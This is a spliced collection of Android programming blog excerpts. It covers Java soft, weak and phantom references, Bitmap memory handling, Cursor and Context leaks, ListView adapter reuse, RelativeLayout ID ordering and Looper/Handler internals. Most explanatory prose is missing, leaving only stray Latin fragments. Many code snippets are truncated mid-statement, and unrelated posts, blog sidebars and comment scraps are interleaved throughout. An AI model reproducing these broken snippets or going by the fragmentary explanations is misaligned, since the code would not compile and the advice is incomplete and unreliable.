																												Object	result	=	rereferent.get(o);						
																												System.out.println("gc	will	collect:"					
																																				+	result.getClass()	+	"@"					
																																				+	result.hashCode());						
																								}	catch	(Exception	e)	{						
					
																												e.printStackTrace();						
																								}						
																				}						
																}						
												}						
								}.start();						
								PhantomReference<String>	abcWeakRef	=	new	PhantomReference<String>
(abc,						
																referenceQueue);						
								abc	=	null;						



								Thread.currentThread().sleep(3000);						
								System.gc();						
								Thread.currentThread().sleep(3000);						
								isRun	=	false;						
				}						
					
}

class	java.lang.String@96354		
gc	will	collect:class	java.lang.String@96354		2

			2:OOM
					
@SuppressWarnings("unused")
private	Bitmap	copressImage(String	imgPath){
				File	picture	=	new	File(imgPath);
				Options	bitmapFactoryOptions	=	new	BitmapFactory.Options();
				//
				bitmapFactoryOptions.inJustDecodeBounds	=	true;
				bitmapFactoryOptions.inSampleSize	=	2;
				int	outWidth		=	bitmapFactoryOptions.outWidth;
				int	outHeight	=	bitmapFactoryOptions.outHeight;
				bmap	=	BitmapFactory.decodeFile(picture.getAbsolutePath(),
									bitmapFactoryOptions);
				float	imagew	=	150;
				float	imageh	=	150;
				int	yRatio	=	(int)	Math.ceil(bitmapFactoryOptions.outHeight
												/	imageh);
				int	xRatio	=	(int)	Math
												.ceil(bitmapFactoryOptions.outWidth	/	imagew);
				if	(yRatio	>	1	||	xRatio	>	1)	{



								if	(yRatio	>	xRatio)	{
												bitmapFactoryOptions.inSampleSize	=	yRatio;
								}	else	{
												bitmapFactoryOptions.inSampleSize	=	xRatio;
								}

				}	
				bitmapFactoryOptions.inJustDecodeBounds	=	false;
				bmap	=	BitmapFactory.decodeFile(picture.getAbsolutePath(),
												bitmapFactoryOptions);
				if(bmap	!=	null){															
								//ivwCouponImage.setImageBitmap(bmap);
								return	bmap;
				}
				return	null;
}
					:
package	com.lvguo.scanstreet.activity;

import	java.io.File;
import	java.lang.ref.SoftReference;
import	java.util.ArrayList;
import	java.util.HashMap;
import	java.util.List;
import	android.app.Activity;
import	android.app.AlertDialog;
import	android.content.Context;
import	android.content.DialogInterface;
import	android.content.Intent;
import	android.content.res.TypedArray;
import	android.graphics.Bitmap;
import	android.graphics.BitmapFactory;
import	android.graphics.BitmapFactory.Options;



import	android.os.Bundle;
import	android.view.View;
import	android.view.ViewGroup;
import	android.view.WindowManager;
import	android.widget.AdapterView;
import	android.widget.AdapterView.OnItemLongClickListener;
import	android.widget.BaseAdapter;
import	android.widget.Gallery;
import	android.widget.ImageView;
import	android.widget.Toast;
import	com.lvguo.scanstreet.R;
import	com.lvguo.scanstreet.data.ApplicationData;
/**		
*	@Title:	PhotoScanActivity.java
*	@Description:	
*	@author	XiaoMa		
*/
public	class	PhotoScanActivity	extends	Activity	{
				private	Gallery	gallery	;
				private	List<String>	ImageList;
				private	List<String>	it	;
				private	ImageAdapter	adapter	;	
				private	String	path	;
				private	String	shopType;
				private	HashMap<String,	SoftReference<Bitmap>>	imageCache	=	null;
				private	Bitmap	bitmap	=	null;
				private	SoftReference<Bitmap>	srf	=	null;
				
				@Override
				public	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
				
			getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN



,	
								WindowManager.LayoutParams.FLAG_FULLSCREEN);	
								setContentView(R.layout.photoscan);
								Intent	intent	=	this.getIntent();
								if(intent	!=	null){
												if(intent.getBundleExtra("bundle")	!=	null){
																Bundle	bundle	=	intent.getBundleExtra("bundle");
																path	=	bundle.getString("path");
																shopType	=	bundle.getString("shopType");
												}
								}
								init();
				}
				private	void	init(){
								imageCache	=	new	HashMap<String,	SoftReference<Bitmap>>();
									gallery	=	(Gallery)findViewById(R.id.gallery);
									ImageList	=	getSD();
									if(ImageList.size()	==	0){
												Toast.makeText(getApplicationContext(),	"",
Toast.LENGTH_SHORT).show();
												return	;
									}
									adapter	=	new	ImageAdapter(this,	ImageList);
									gallery.setAdapter(adapter);
									gallery.setOnItemLongClickListener(longlistener);
				}

	 1 +1 e	 +5
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SoftReference<Bitmap>	srf	=	imageCache.get(file.getName());
												Bitmap	bit	=	srf.get();
												ImageView	i	=	new	ImageView(mContext);
												i.setImageBitmap(bit);
	:
Bitmap	bit	=	srf.get();		Bitmap
	
SoftReference	
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				/**
					*	Gallery
					*/
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Android——

JavaJDK1.2

ReferenceQueueJava
ReferenceQueueJava

java.lang.refSoftReferenceWeakReferencePhantomReference
ReferenceQueueJava
Android

OutOfMemory
HashMap
private	Map<String,	SoftReference<Bitmap>>	imageCache	=	new
HashMap<String,	SoftReference<Bitmap>>();
	
BitmapHashMap
				public	void	addBitmapToCache(String	path)	{
								//	Bitmap
								Bitmap	bitmap	=	BitmapFactory.decodeFile(path);
								//	Bitmap
								SoftReference<Bitmap>	softBitmap	=	new	SoftReference<Bitmap>
(bitmap);
								//	Map
								imageCache.put(path,	softBitmap);
				}
	
	
				SoftReferenceget()Bitmap
				public	Bitmap	getBitmapByPath(String	path)	{
								//	Bitmap
								SoftReference<Bitmap>	softBitmap	=	imageCache.get(path);
								//	

http://blog.csdn.net/arui319/article/details/8489451


								if	(softBitmap	==	null)	{
												return	null;
								}
								//	BitmapBitmap
								Bitmap	bitmap	=	softBitmap.get();
								return	bitmap;
				}
	
OutOfMemoryCrash
JavaSoftReferencegetJavaJavagetnullnull
NullPointerException
	

OutOfMemory

WeakHashMapWeakHashMapWeakHashMap
ReferenceQueue
	< http://blog.csdn.net/arui319/article/details/8489451>

http://blog.csdn.net/arui319/article/details/8489451
http://www.csdn.net/
http://news.csdn.net/
http://mobile.csdn.net/
http://cloud.csdn.net/
http://sd.csdn.net/
http://bbs.csdn.net/
http://blog.csdn.net/
http://download.csdn.net/
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Android Android AndroidDalvik Zygote
Android killkill system_process

1,

1.1

		Androidjava AndroidAnroid Android
Android

1:

				(LockScreen) ()LockScreenPhoneStateListener
TelephonyManager LockScreen LockScreen
LockScreen

				LockScreenPhoneStateListener LockScreen
LockScreenOutOfMemory,system_process

1.2

static

2

CursorFile java java null,

http://blog.csdn.net/blogdevteam/article/details/16943989


SQLiteCursor finalize ,

Cursor

3

3.1Bitmaprecycle()

Bitmap,recycle() null.

recycle() Bitmap Bitmap

3.2Adapter	convertView

		ListViewBaseAdapter BaseAdapter

public	View	getView(int	position,	View	convertView,	ViewGroup	parent)

ListViewitemview ListViewBaseAdapterview
ListViewview ListView list	itemview list	item
getView() getView()	View	convertViewlist	itemview(
viewconvertViewnull)

				 convertViewgetView()View
ListViewlist	itemview:



view	plaincopy	to	clipboardprint?

1.			android.widget.AbsListView.java	--
>	void	addScrapView(View	scrap)			

2.					

3.			public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{		

4.							View	view	=	new	Xxx(...);		

5.							...	...		

6.							return	view;		

7.			}		

8.					

9.			public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{		

10.					View	view	=	null;		

11.					if	(convertView	!=	null)	{		

12.									view	=	convertView;		

13.									populate(view,	getItem(position));		

http://blog.csdn.net/l_serein/article/details/6551454
http://blog.csdn.net/l_serein/article/details/6551454
http://blog.csdn.net/l_serein/article/details/6551454
http://blog.csdn.net/l_serein/article/details/6551454


14.									...		

15.					}	else	{		

16.									view	=	new	Xxx(...);		

17.									...		

18.					}		

19.					return	view;		

20.	}			

[java]	view	plaincopyprint?

1.			android.widget.AbsListView.java	--
>	void	addScrapView(View	scrap)			

2.					

3.			public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{		

4.							View	view	=	new	Xxx(...);		

5.							...	...		

6.							return	view;		

http://blog.csdn.net/xuyide54321/article/details/7075686
http://blog.csdn.net/xuyide54321/article/details/7075686
http://blog.csdn.net/xuyide54321/article/details/7075686
http://blog.csdn.net/xuyide54321/article/details/7075686


7.			}		

8.					

9.			public	View	getView(int	position,	View	convertView,	ViewGroup	parent)	{		

10.					View	view	=	null;		

11.					if	(convertView	!=	null)	{		

12.									view	=	convertView;		

13.									populate(view,	getItem(position));		

14.									...		

15.					}	else	{		

16.									view	=	new	Xxx(...);		

17.									...		

18.					}		

19.					return	view;		

20.	}			

	



	

	

	

	

Android

androiddalvikgoogleG116M24M
OOM

JAVA

androidjavaandroiddavlikjvmandroidjava

javanewGCjavaJVM
OOMjavaJAVA

1.			

JVMClassLoaderRUNTIME	DATA
AREAJVMRUNTIMEDATA	AREA5



·								Method	Area:classMethod	Area

·								Heap()java

·								Java	javajava

·								

·								

2.				JVMGC

JVMYoungTenuredPerm

·								(Young)

edenSurvivorEdenEdenSurvivor
SurvivorSurvivorSurvivorSurvivor

·								Tenured

·								Perm

Android



JVMandroid

androidDDMS—Heap

·								DDMSDevicesHeap

·								system_process

·								Devices"update	heap"	

·								Heap"Cause	GC"	GC

HeapTypedataobject	total	sizetotal	size
data	objecttotal	sizeGCtotal	size
data	objecttotal	 sizetotalsize

Android

Mat(memory	analyzer	tools)ADTMATeclipse
DDMSDevices

"dump	HPROF	file"MAT

	

detail



	

MAT
http://www.blogjava.net/rosen/archive/2010/06/13/323522.html

javaandroidbad	code

	

	

	

Android

		Android

				AndroidJavaAndroidJavanewjavaC
C++“”javaGC

				GCJavaJavaGC	()
()()GC

Android

http://www.blogjava.net/rosen/archive/2010/06/13/323522.html


				Android?

				AndroidDalvik16M24MOutOfMemory

·								Context

·								Bitmap

static

				staticJavastaticContext

1.		public	class	ClassName	{		

2.							private	static	Context	mContext;		

3.							//		

4.		}		

ActivitymContextActivityonDestroy
Activity

				Android

1.		private	static	Drawable	sBackground;		



2.							

3.			@Override		

4.			protected	void	onCreate(Bundle	state)	{		

5.					super.onCreate(state);		

6.							

7.					TextView	label	=	new	TextView(this);		

8.					label.setText("Leaks	are	bad");		

9.							

10.			if	(sBackground	==	null)	{		

11.					sBackground	=	getDrawable(R.drawable.large_bitmap);		

12.			}		

13.			label.setBackgroundDrawable(sBackground);		

14.					

15.			setContentView(label);		

16.	}		



				sBackground,	ContexDrawableView
DrawableViewViewContextContext

				Drawable->TextView->Context

				Context

				

				staticContext

				ContextApplication	ContextApplication
Context

				WeakReference
WeakReference<Context>	mContextRef;

				AndroidArticle

				

1.		public	class	MyActivity	extends	Activity	{		

2.						@Override		



3.	
				public	void	onCreate(Bundle	savedInstanceState)	{		

4.										super.onCreate(savedInstanceState);		

5.										setContentView(R.layout.main);		

6.										new	MyThread().start();		

7.						}		

8.				

9.						private	class	MyThread	extends	Thread{		

10.								@Override		

11.								public	void	run()	{		

12.												super.run();		

13.												//do	somthing		

14.								}		

15.				}		

16.}		



				MyThreadrunActivity
Activity

				ActivityMyThreadActivityMyThreadrun
MyThreadActivity

	

				AndroidAsyncTaskAsyncTaskThreadrun
AsyncTaskThreadPoolExcutor,ThreadAsyncTask
Activity

				

				

				Context

				

1.	
public	abstract	class	WeakAsyncTask<Params,	Progress,	Result,	WeakTarget>	extends		

2.										AsyncTask<Params,	Progress,	Result>	{		

3.						protected	WeakReference<WeakTarget>	mTarget;		

4.				



5.						public	WeakAsyncTask(WeakTarget	target)	{		

6.										mTarget	=	new	WeakReference<WeakTarget>
(target);		

7.						}		

8.				

9.						/**	{@inheritDoc}	*/		

10.				@Override		

11.				protected	final	void	onPreExecute()	{		

12.								final	WeakTarget	target	=	mTarget.get();		

13.								if	(target	!=	null)	{		

14.												this.onPreExecute(target);		

15.								}		

16.				}		

17.		

18.				/**	{@inheritDoc}	*/		



19.				@Override		

20.				protected	final	Result	doInBackground(Params...	params)	{		

21.								final	WeakTarget	target	=	mTarget.get();		

22.								if	(target	!=	null)	{		

23.												return	this.doInBackground(target,	params);		

24.								}	else	{		

25.												return	null;		

26.								}		

27.				}		

28.		

29.				/**	{@inheritDoc}	*/		

30.				@Override		

31.				protected	final	void	onPostExecute(Result	result)	{		

32.								final	WeakTarget	target	=	mTarget.get();		

33.								if	(target	!=	null)	{		



34.												this.onPostExecute(target,	result);		

35.								}		

36.				}		

37.		

38.				protected	void	onPreExecute(WeakTarget	target)	{		

39.								//	No	default	action		

40.				}		

41.		

42.				protected	abstract	Result	doInBackground(WeakTarget	target,	Params...	params);		

43.		

44.				protected	void	onPostExecute(WeakTarget	target,	Result	result)	{		

45.								//	No	default	action		

46.				}		

47.}		
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Bitmap

				OutOfMemoryBitmapBitmap“”

				Bitmap

				

				BitmapjavaBitmaprecycle
recycleBitmap“”

				

				

1.			private	ImageView	preview;		

2.	
	BitmapFactory.Options	options	=	new	BitmapFactory.Options();		



3.			options.inSampleSize	=	2;//		

4.	
	Bitmap	bitmap	=	BitmapFactory.decodeStream(cr.openInputStream(uri),	null,	options);		

5.		preview.setImageBitmap(bitmap);		

				SoftRefrence

				BitmapRecycleBitmap

1.		/***/		

2.		private	class	MyAdapter	extends	BaseAdapter	{		

3.				

4.	
				private	ArrayList<SoftReference<Bitmap>>	mBitmapRefs	=	new	ArrayList<SoftReference<Bitmap>>
();		

5.						private	ArrayList<Value>	mValues;		

6.						private	Context	mContext;		

7.						private	LayoutInflater	mInflater;		

8.				



9.	
				MyAdapter(Context	context,	ArrayList<Value>	values)	{		

10.								mContext	=	context;		

11.								mValues	=	values;		

12.								mInflater	=	(LayoutInflater)	context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);		

13.				}		

14.				public	int	getCount()	{		

15.								return	mValues.size();		

16.				}		

17.		

18.				public	Object	getItem(int	i)	{		

19.								return	mValues.get(i);		

20.				}		

21.		

22.				public	long	getItemId(int	i)	{		



23.								return	i;		

24.				}		

25.		

26.				public	View	getView(int	i,	View	view,	ViewGroup	viewGroup)	{		

27.								View	newView	=	null;		

28.								if(view	!=	null)	{		

29.												newView	=	view;		

30.								}	else	{		

31.												newView	=
(View)mInflater.inflate(R.layout.image_view,	false);		

32.								}		

33.		

34.								Bitmap	bitmap	=	BitmapFactory.decodeFile(mValues.get(i).fileName);		

35.								mBitmapRefs.add(new	SoftReference<Bitmap>
(bitmap));					//ArrayList		

36.								((ImageView)newView).setImageBitmap(bitmap);		



37.		

38.								return	newView;		

39.				}		

40.}		

Cursor

				CursorAndroidCusor

				CursorBlobCursorGCAndroid
Cursor	close

				Cursor

1.		Cursor	cursor	=	null;		

2.		try	{		

3.	
				cursor	=	mContext.getContentResolver().query(uri,null,	null,null,null);		

4.						if(cursor	!=	null)	{		

5.										cursor.moveToFirst();		

6.										//do	something		



7.						}		

8.		}	catch	(Exception	e)	{		

9.						e.printStackTrace();				

10.}	finally	{		

11.				if	(cursor	!=	null)	{		

12.							cursor.close();		

13.				}		

14.}		

				CursorCursorAdapterCursorAdapter
AcivityCursoronDestroy

1.		@Override		

2.		protected	void	onDestroy()	{								

3.	
				if	(mAdapter	!=	null	&&	mAdapter.getCurosr()	!=	null)	{		

4.										mAdapter.getCursor().close();		

5.						}		



0

6.						super.onDestroy();			

7.		}		

		CursorAdapterchangeCursorCursorCursor
Cursor

		ActivitymanagedQueryCursorCursorAcitivity
managedQuery

				managedQueryCursorCursorCursor

				9pathAdapterconvertView
Android
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①
②

/**
	*	
	*/
private	void	openFlashLight()	{
				
				if	(!isOpen)	{//
								if	(camera==null)	{
												camera=Camera.open();
								}
								camera.startPreview();
								Parameters	parameters	=	camera.getParameters();
								parameters.setFlashMode(Parameters.FLASH_MODE_TORCH);
								camera.setParameters(parameters);
								isOpen	=	true;
				}
}
/**
	*	
	*/
private	void	closeFlashLight()	{
				
				if	(isOpen)	{//
								if	(camera	!=	null)	{
												Parameters	parameters	=	camera.getParameters();
												parameters.setFlashMode(Camera.Parameters.FLASH_MODE_OFF);
												camera.setParameters(parameters);
												camera.release();
												camera	=	null;
								}
								isOpen	=	false;
				}
}

//
@Override



public	boolean	onKeyDown(int	keyCode,	KeyEvent	event)	{
				if	(keyCode==KeyEvent.KEYCODE_BACK)	{//
								if	(firstPressed)	{
												long	secondTime	=	System.currentTimeMillis();
												if	(secondTime-firstPressedTime<1000)	{//1
																int	pid	=	Process.myPid();
																android.os.Process.killProcess(pid);
																return	true;
												}else	{//
																firstPressedTime	=	System.currentTimeMillis();
												}
								}else	{
												firstPressedTime	=	System.currentTimeMillis();
								}
								Toast.makeText(getApplicationContext(),	"" ,	Toast.LENGTH_SHORT).show();
								firstPressed	=	true;
								return	true;
				}
				return	super.onKeyDown(keyCode,	event);
}
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01.	 <?xml	version="1.0"	encoding="utf-8"

02.	 <RelativeLayout	xmlns:android=

m/apk/res/android"	

03.	 				android:orientation="vertical"

"fill_parent"	

04.	 				android:layout_height="fill_parent"

05.	 	

06.	 				<!--	Button		--> 	

07.	 				<LinearLayout	android:id="@+id/test_bottom_buttons"

08.	 								android:layout_width="fill_parent"

t_height="wrap_content"	

09.	 								android:orientation="horizontal"

alignParentBottom="true">	

10.	 	

11.	 								<Button	android:layout_width

12.	 												android:layout_height

:text="" ></Button>	

13.	 	

14.	 								<Button	android:layout_width

15.	 												android:layout_height

:text="" ></Button>	

16.	 	

17.	 				</LinearLayout>	

18.	 </RelativeLayout>	

ListView

bill ButtonsLinearLayoutListViewOK

	

01.	 <?xml	version="1.0"	encoding="utf-8"

http://billhoo.blog.51cto.com/all/2337751
http://blog.51cto.com/artcommend


02.	 <RelativeLayout	xmlns:android=

m/apk/res/android"	

03.	 				android:orientation="vertical"

"fill_parent"	

04.	 				android:layout_height="fill_parent"

05.	 	

06.	 				<ListView	android:id="@+id/lv_test"

idth="fill_parent"	

07.	 								android:layout_height=

08.	 				</ListView>	

09.	 	

10.	 				<!--	Button		--> 	

11.	 				<LinearLayout	android:id="@+id/test_bottom_buttons"

12.	 								android:layout_width="fill_parent"

t_height="wrap_content"	

13.	 								android:orientation="horizontal"

alignParentBottom="true">	

14.	 	

15.	 								<Button	android:layout_width

16.	 												android:layout_height

:text="" ></Button>	

17.	 	

18.	 								<Button	android:layout_width

19.	 												android:layout_height

:text="" ></Button>	

20.	 	

21.	 				</LinearLayout>	

22.	 					

23.	 </RelativeLayout>	

	

Button ListViewButton

http://img1.51cto.com/attachment/201201/151903569.png


	

ListViewItem	8

	

	

“” bill android:layout_above="[viewid]"

view ListView

	

01.	 <ListView	android:id="@+id/lv_test"

"fill_parent"	

02.	 				android:layout_height="fill_parent"

03.	 				android:layout_above="@id/test_bottom_buttons"

04.	 </ListView>	

	

ListViewButtons

	

error:	Error:	No	resource	found	that	matches	the	given	name	(at	'layout_abov



e'	with	value	

	'@id/test_bottom_buttons').

	

android:layout_above @id/test_bottom_buttons

<LinearLayout	android:id="@+id/test_bottom_buttons"

“ test_bottom_buttonsID”“

99.99% test_bottom_buttonsID

IDXML

C++

ListViewXMLButtons

	

01.	 <?xml	version="1.0"	encoding="utf-8"

02.	 <RelativeLayout	xmlns:android=

m/apk/res/android"	

03.	 				android:orientation="vertical"

"fill_parent"	

04.	 				android:layout_height="fill_parent"

05.	 	

06.	 				<!--	Button		--> 	

07.	 				<LinearLayout	android:id="@+id/test_bottom_buttons"



08.	 								android:layout_width="fill_parent"

t_height="wrap_content"	

09.	 								android:orientation="horizontal"

alignParentBottom="true">	

10.	 	

11.	 								<Button	android:layout_width

12.	 												android:layout_height

:text="" ></Button>	

13.	 	

14.	 								<Button	android:layout_width

15.	 												android:layout_height

:text="" ></Button>	

16.	 	

17.	 				</LinearLayout>	

18.	 	

19.	 				<ListView	android:id="@+id/lv_test"

idth="fill_parent"	

20.	 								android:layout_height=

ut_above="@id/test_bottom_buttons"

21.	 				</ListView>	

22.	 	

23.	 </RelativeLayout>	

	

http://img1.51cto.com/attachment/201201/152209965.png


Buttons ListView

	

	

xml ListViewLinearLayout ListView

ID	@+id/test_bottom_buttons	 ListView

	android:layout_above="@id/test_bottom_buttons

“”

xml xml ID ListView

C++——“”

ID ID

xml billmyidsmyids.xml

	

01.	 <?xml	version="1.0"	encoding="utf-8"

02.	 <resources>	

03.	 				<!--	IDC++	-->

04.	 				<item	type="id"	name="test_bottom_buttons"

05.	 </resources>	

	

ID	test_bottom_buttons	xmlRint



xml

	

01.	 <?xml	version="1.0"	encoding="utf-8"

02.	 <RelativeLayout	xmlns:android=

m/apk/res/android"	

03.	 				android:orientation="vertical"

"fill_parent"	

04.	 				android:layout_height="fill_parent"

05.	 	

06.	 		<ListView	android:id="@+id/lv_test"

th="fill_parent"	

07.	 				android:layout_height="fill_parent"

bove="@id/test_bottom_buttons"

08.	 		</ListView>	

09.	 			

10.	 				<!--	Button		--> 	

11.	 				<LinearLayout	android:id="@id/test_bottom_buttons"

12.	 								android:layout_width="fill_parent"

t_height="wrap_content"	

13.	 								android:orientation="horizontal"

alignParentBottom="true">	

14.	 	

15.	 								<Button	android:layout_width

16.	 												android:layout_height

:text="" ></Button>	

17.	 	

18.	 								<Button	android:layout_width

19.	 												android:layout_height

:text="" ></Button>	

20.	 	

21.	 				</LinearLayout>	

22.	 	



23.	 </RelativeLayout>	

	

	

	

Buttons ListView

	

	

ADDED(billhoo	-	2013-3-18)

gogo901

QUOTE[
														
														Listandroid:layout_above="@ id/test_bottom_buttons
														Buttonandroid:id="@id/test_bottom_buttons"

]
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	MJ007: [1]
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Listandroid:layout_above="@id/test_bottom_buttons"	
Buttonandroid:id="@id/test_bottom_buttons"

	gogo901: [5]
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[7]					 			[]

[8] 					 			Bill_Hoo

!!
:
:
<?xml	version="1.0"	encoding="utf-8"?>
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
		android:layout_width="fill_parent"
		android:layout_height="fill_parent"
		android:orientation="vertical">			
		
		<Button
				android:id="@id/get_record"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:layout_gravity="center_horizontal"
				android:text="Catch!"	/>
		
				<TableLayout
				android:id="@id/user_list"
				android:layout_width="match_parent"
				android:layout_height="wrap_content"	>

				</TableLayout>

						<TextView
				android:id="@id/textView"
				android:layout_width="fill_parent"
				android:layout_height="wrap_content">
							</TextView>
							
							<Spinner
				android:id="@id/spinnner"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content">
							</Spinner>			
				
</LinearLayout>

spinnner1
?ˊˋ
!!

http://billhoo.blog.51cto.com


	: [7]

spinner
spinnerIDspinner"spinner1"
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Android

11.Eclipse/

	12.Java01

												Calendar	calendar	=
();
												if(!TextUtils.isEmpty(dateTimes)){
																long
eDayTime(dateTimes);
																calendar.setTimeInMillis(milliseconds)
;
												}
												final	int
.YEAR);
												final	int
ar.MONTH);
												final	int
DAY_OF_MONTH);
												mDatePickerDialog	
log(this,	new
																@Override
																public
w,	int	year,
																								
)	{
																				if
=	old_month	||	dayOfMonth	!=
																								String	dateTimes	
"%04d-%02d-%02d"
																																monthOfYear	
nth);//0
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																				}
																}
												},	
												old_year,	old_month,	old_day);

13.ListView

								mListView	=	
								mListView.setCacheColorHint(
								mListView.setBackgroundDrawable(
								mListView.setDivider(getResources().getDr
awable(R.drawable.list_divider));
								mListView.setDividerHeight(

:
<drawable	name="list_divider">#00CCCC00</d
rawable>

	 setDividerHeight

14.

1)

<uses-permission	android:name="android.permis
sion.BLUETOOTH"	/>

<user-permission	android:name="android.permis
sion.BLUETOOTH"	/>

APPAPP

	15.(PC)	:

Android(110)
BREW(15)
C#(1)
C/C++(12)
IPHONE(18)
IT(2)
J2ME(1)
Java(18)
Linux(8)
MAC	OS(6)
Object-C(2)
Python(6)
Symbian(14)
Unity	3D(3)
Windows(5)
Windows	Mobile(51
)
(1)
(4)
(10)
(NLP)(1)

C/C++C/C++
Standard	Template	
Library	Programmer
's	Guide	(SGI)

JavaJava
IBM
JAVA
JSON

MSNMSN
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posted	@	

10-15	17:03:36.043:	E/XXXApp(5660):	Connect
ion	I/O	Exception	:java.net.UnknownHostExcept
ion:	Unable	to	resolve	host	"www.baidu.com":	N
o	address	associated	with	hostname

	

	

	

:	 Android

	 	 	

«	

»	 input(Python)

	

	 		

Live	Search	Interact
ive	SDK
MSN	Messenger	Pr
otocol

,!

		RSS

1.	Re:UbuntuShell
so	good!

--
2.	Re:Android
@msg2030

--
3.	Re:Android
	a

--msg2030
4.	Re:taskdef	class	
com.android.ant.Ne
wSetupTask	cannot
be	found
@JanRoid
JD-Guianttasks.jarc
om.android.ant.che
ckenvtask
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·	Kickstarter
·	Cookie
·	
·		
·	36QQ
»	...

:
·	Javascript
·	——
·	
·	Linux
·	
»	...

:
2005-10-16	2005(1016	14-1630	)

--
5.	Re:taskdef	class	
com.android.ant.Ne
wSetupTask	cannot
be	found
BUILD	FAIL
EDF:\WorkSpace\A
ndroid20130221\bui
ld.xml:128:	The	foll
owing	error	occurre
d	while	executing	th
is	line:D:\android-sd
k-windows\tools\ant
\build.xml:72:	Probl
em:	failed	to	create	
...

--JanRoid
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Android

1.TextView

TextView	tv;
...
tv.setTextColor(R.color.white);

	R.color.whiteIDcolorwhite

tv.setTextColor(getResources().getColor(R.color.
white));

int

2.Cursor

Uri	uri;
Cursor	cursor	
ull,null,null);
if(cursor	!=null
				String	name	
				curosr.close();
				cursor	=null
}

	

cursor.getString(1):	Caused	by:
android.database.CursorIndexOutOfBo
undsException:	Index	-1	requested,	wit
h	a	size	of	4
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Uri	uri;
Cursor	cursor	
ull,null,null);
if(cursor	!=null
				if(cursor.moveToFirst()){
								String	name	
				}
				curosr.close();
				cursor	=null
}

Uri	uri;
Cursor	cursor	
ull,null,null);
if(cursor	!=null
				while(cursor.moveToNext()){
								String	name	
				}
				curosr.close();
				cursor	=null
}

3.	Deprecated,android.telephony.gs
m.SmsMessageandroid.telephony.Sm
sMessage,3G

4.	SQLitenameTEXT,name(zha
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C/C++C/C++
Standard	Template	
Library	Programmer
's	Guide	(SGI)

JavaJava
IBM
JAVA
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ngsan),:

name	<>	'zhangsan'

name

SQLite:

boolean	judge(String	self,	String	conditions){
								if(null	==	self)	
								return	self.equalsIgnoreCase(conditions);
				}

	selfnameconditions	zhangsan

:

name	<>	'zhangsan'	or	name	is	

name	

5."	",

<string	name="button_delete_text">	</string
>

Android	SDKString:

<string	name="button_delete_text">\u0020</stri
ng>

\u00XX	'	----	\u0027,		<	-----	\u0
03C,	>	----	\u003E	
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3.	Re:Android
	a

--msg2030
4.	Re:taskdef	class	
com.android.ant.Ne
wSetupTask	cannot
be	found
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JD-Guianttasks.jarc
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ckenvtask
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&#39;

&#60;

&#62;

6.	context:

ActivitycontextstartActivityintent

intent.addFlags(Intent.FLAG_ACTIVITY_NEW
_TASK);

Calling	startActivity()	from	outside	of	an	Activit
y		context	requires	the	FLAG_ACTIVITY_NEW
_TASK	flag.

startActivity:

TextView	tv	=	
tv.setAutoLinkMask(Linkify.ALL);

tv.setText(content);

content//URLmContextAcitvityco
ntextappcontext(XXXActivity.this.getA
pplicationContext()),

android.util.AndroidRuntimeException:	Calling
startActivity()	from	outside	of	an	Activity		
context	requires	the	FLAG_ACTIVITY_NEW_
TASK	flag.	Is	

--
5.	Re:taskdef	class	
com.android.ant.Ne
wSetupTask	cannot
be	found
BUILD	FAIL
EDF:\WorkSpace\A
ndroid20130221\bui
ld.xml:128:	The	foll
owing	error	occurre
d	while	executing	th
is	line:D:\android-sd
k-windows\tools\ant
\build.xml:72:	Probl
em:	failed	to	create	
...

--JanRoid

http://www.cnblogs.com/mengshu-lbq/archive/2012/07/09/2583034.html#2625812


E/AndroidRuntime(10382):					at	android.app.Co
ntextImpl.startActivity(ContextImpl.java:622
E/AndroidRuntime(10382):					at	android.content
.ContextWrapper.startActivity(ContextWrapper.j
ava:258)
E/AndroidRuntime(10382):					at	android.text.sty
le.URLSpan.onClick(URLSpan.java:62)

URLSpan.onClickstartActivityactivity
contex,

7.	context

contextApplicationContext
:receiver	leak

8.	:

								LinearLayout	panel	=	
s);
								LinearLayout.LayoutParams	llp	
arLayout.LayoutParams(
																LinearLayout.LayoutParams.FILL_PA
RENT,
																LinearLayout.LayoutParams.FILL_PA
RENT);
								panel.setLayoutParams(llp);
								root.addView(panel);

								LinearLayout	panel	=	
s);
								LinearLayout.LayoutParams	llp	
arLayout.LayoutParams(
																LinearLayout.LayoutParams.FILL_PA
RENT,



																LinearLayout.LayoutParams.FILL_PA
RENT);
								root.addView(panel.	llp);

9.serviceservice

					Intent	service	=	
class);
					startService(service);

AndroidManifest.xmlFuncService

<service	android:name="com.android.example.F
uncService"/>

10.TextView"...",

ROM,review

								mIntroView	=
id.description);
								mIntroView.setEllipsize(TruncateAt.END);

2

ROM

"...",

mIntro.setMaxLines(Integer.MAX_VALUE);
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Looper,Handler,Message

androidgoogle

androidandroid	sdk

helper

android Looper

HandlerMessage

googler

android

Looper,Handler

MessageMessage

QueueMQLooper

MQ
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	Looper

Looper“” Looper

LooperGUI

Looper

LooperLooper

	 View	Code

Looper

1)Looper.prepare()

LooperMQ

ThreadLooper



	 View	Code

prepare()looper

ThreadLocal

ThreadLocal

ThreadLocal

2Looper.loop()

loopLooperMQ(

)

	 View	Code

prepare()loop()Looper

http://blog.csdn.net/qjyong/article/details/2158097


Looper.myLooper()looper

	 View	Code

getThread()looper

	 View	Code

quit()looper

	 View	Code

Looper

1.LooperThreadLocal

2.Looperloop()

3.LooperLooper

MQHandler

~~~



	Handler

handlerhandlerMQ

MQ

(sendMessage)loop

(handleMessage)

handlerlooperlooper

set

	 View	Code

LooperThreadHandler

	 View	Code

handler



HandlerLooper

Handler
handler

post(Runnable),

postAtTime(Runnable,

long),

postDelayed(Runnable,

long),

sendEmptyMessage(int),

sendMessage(Message),

sendMessageAtTime(Message,

long)

sendMessageDelayed(Message,

http://developer.android.com/reference/android/os/Handler.html#post(java.lang.Runnable)
http://developer.android.com/reference/android/os/Handler.html#postAtTime(java.lang.Runnable, long)
http://developer.android.com/reference/android/os/Handler.html#postDelayed(java.lang.Runnable, long)
http://developer.android.com/reference/android/os/Handler.html#sendEmptyMessage(int)
http://developer.android.com/reference/android/os/Handler.html#sendMessage(android.os.Message)
